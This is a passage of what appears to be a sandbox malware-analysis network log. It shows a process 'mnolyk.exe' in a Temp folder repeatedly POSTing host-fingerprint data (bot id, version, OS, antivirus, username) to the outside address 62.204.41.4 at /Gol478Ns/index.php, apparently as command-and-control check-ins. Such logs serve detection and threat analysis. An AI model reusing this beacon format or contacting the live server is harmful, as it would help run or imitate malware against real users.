Feb 7, 2023 23:10:16.426949024 CET	848	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
734	192.168.2.7	50429	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:17.103178024 CET	849	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:17.167263985 CET	849	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
735	192.168.2.7	50430	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:18.142734051 CET	850	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:18.207896948 CET	850	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
736	192.168.2.7	50431	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:18.720531940 CET	851	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:18.785145998 CET	851	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
737	192.168.2.7	50432	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:18.991988897 CET	852	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:19.058875084 CET	852	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
738	192.168.2.7	50433	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:19.240531921 CET	853	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:19.304296017 CET	853	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
739	192.168.2.7	50434	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:19.489028931 CET	854	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:19.552669048 CET	854	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.7	49769	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:21.212903023 CET	189	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:21.278456926 CET	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
740	192.168.2.7	50435	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:19.733664036 CET	855	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:19.798017025 CET	855	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
741	192.168.2.7	50436	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:19.971883059 CET	856	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:20.039480925 CET	856	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
742	192.168.2.7	50437	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:20.219041109 CET	857	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:20.282939911 CET	857	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
743	192.168.2.7	50438	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:20.467632055 CET	858	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:20.530093908 CET	858	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
744	192.168.2.7	50439	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:20.713212013 CET	859	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:20.776303053 CET	859	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
745	192.168.2.7	50440	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:20.951914072 CET	860	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:21.013782978 CET	860	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
746	192.168.2.7	50441	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:21.186453104 CET	861	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:21.252027988 CET	861	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
747	192.168.2.7	50442	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:21.434130907 CET	862	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:21.496160984 CET	862	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
748	192.168.2.7	50443	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:21.669847965 CET	863	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:21.732448101 CET	863	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
749	192.168.2.7	50444	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:21.912070990 CET	864	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:21.975343943 CET	864	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.7	49770	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:21.455441952 CET	190	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:21.518047094 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
750	192.168.2.7	50445	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:22.165070057 CET	865	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:22.231156111 CET	865	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
751	192.168.2.7	50446	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:22.408032894 CET	866	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:22.473037004 CET	866	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
752	192.168.2.7	50447	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:22.643399954 CET	867	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:22.707236052 CET	867	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
753	192.168.2.7	50448	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
